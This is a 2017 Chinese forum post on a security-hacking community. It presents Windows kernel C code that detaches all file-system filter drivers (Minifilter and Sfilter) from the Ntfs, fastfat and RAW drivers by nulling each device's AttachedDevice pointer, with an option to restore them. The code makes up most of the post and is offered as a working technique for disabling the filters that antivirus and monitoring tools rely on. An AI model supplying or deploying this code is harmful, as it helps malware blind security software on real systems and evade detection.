看流星社区

 找回密码
 注册账号
查看: 2103|回复: 0

废掉Minifilter和Sfilter 支持x64

[复制链接]

该用户从未签到

发表于 2017-6-1 12:56:15 | 显示全部楼层 |阅读模式
在学习Minifilter和sfilter后明白了一点,这两个文件过滤都是attach到设备上
那么我们废掉的方法就很明显了,将文件系统上attach的所有设备清零


怎么得到attach的所有设备呢?
我们通过ObReferenceObjectByName或得到文件驱动对象地址
得到的对象中有一个成员DeviceObject就得到了文件设备对象
这里还有一个链表,保存着下一个对象的地址
在得到的文件设备对象下有一个成员AttachedDevice就是我们需要清0的attach设备地址了
我们循环这个表,执行同样的操作,就可以干掉过滤驱动了


当然我们还要保存原来的attach的设备对象
在恢复或者卸载的时候给会写出去


代码:
  1. SIZE_T NtfsOriFsFlt[64]= {0};
  2. SIZE_T FastfatOriFsFlt[64]= {0};
  3. SIZE_T RawOriFsFlt[64]= {0};
  4. VOID DisableAllFilters(PWSTR lpwName, SIZE_T *OriFsFlt, ULONG MaxCount, ULONG Action)
  5. {
  6.         ULONG i=0;
  7.         UNICODE_STRING TName;
  8.         PDRIVER_OBJECT TDrvObj;
  9.         PDEVICE_OBJECT CurrentDevice;
  10.         NTSTATUS status;
  11.         BOOL bInit = FALSE;
  12.         RtlInitUnicodeString(&TName, lpwName);
  13.         status = ObReferenceObjectByName(&TName,
  14.                                          OBJ_CASE_INSENSITIVE,
  15.                                          NULL,
  16.                                          0,
  17.                                          *IoDriverObjectType,
  18.                                          KernelMode,
  19.                                          NULL,
  20.                                          &TDrvObj);
  21.         if (!NT_SUCCESS(status)) return ;
  22.         if(!TDrvObj) return ;
  23.         CurrentDevice = TDrvObj->DeviceObject;
  24.         while(CurrentDevice != NULL )
  25.         {
  26.                 if(!Action)
  27.                 {
  28.                         OriFsFlt[i] = (SIZE_T)InterlockedExchangePointer((PVOID*)&CurrentDevice->AttachedDevice, NULL);
  29.                 }
  30.                 else
  31.                 {
  32.                         OriFsFlt[i] = (SIZE_T)InterlockedExchangePointer((PVOID*)&CurrentDevice->AttachedDevice, (PDEVICE_OBJECT)(OriFsFlt[i]));
  33.                 }
  34.                 CurrentDevice = CurrentDevice->NextDevice;
  35.                 i++;
  36.                 if(i>=MaxCount)
  37.                         break;
  38.         }
  39.         ObDereferenceObject(TDrvObj);
  40.         return;
  41. }
  42. //0=禁用所有文件系统过滤驱动 1=恢复所有文件系统过滤驱动
  43. void DisableFsFlt(ULONG Restore)
  44. {
  45.         DisableAllFilters(L"\\FileSystem\\Ntfs",NtfsOriFsFlt,64,Restore);
  46.         DisableAllFilters(L"\\FileSystem\\fastfat",FastfatOriFsFlt,64,Restore);
  47.         DisableAllFilters(L"\\FileSystem\\RAW",RawOriFsFlt,64,Restore);
  48. }
复制代码
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-3-19 14:26

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表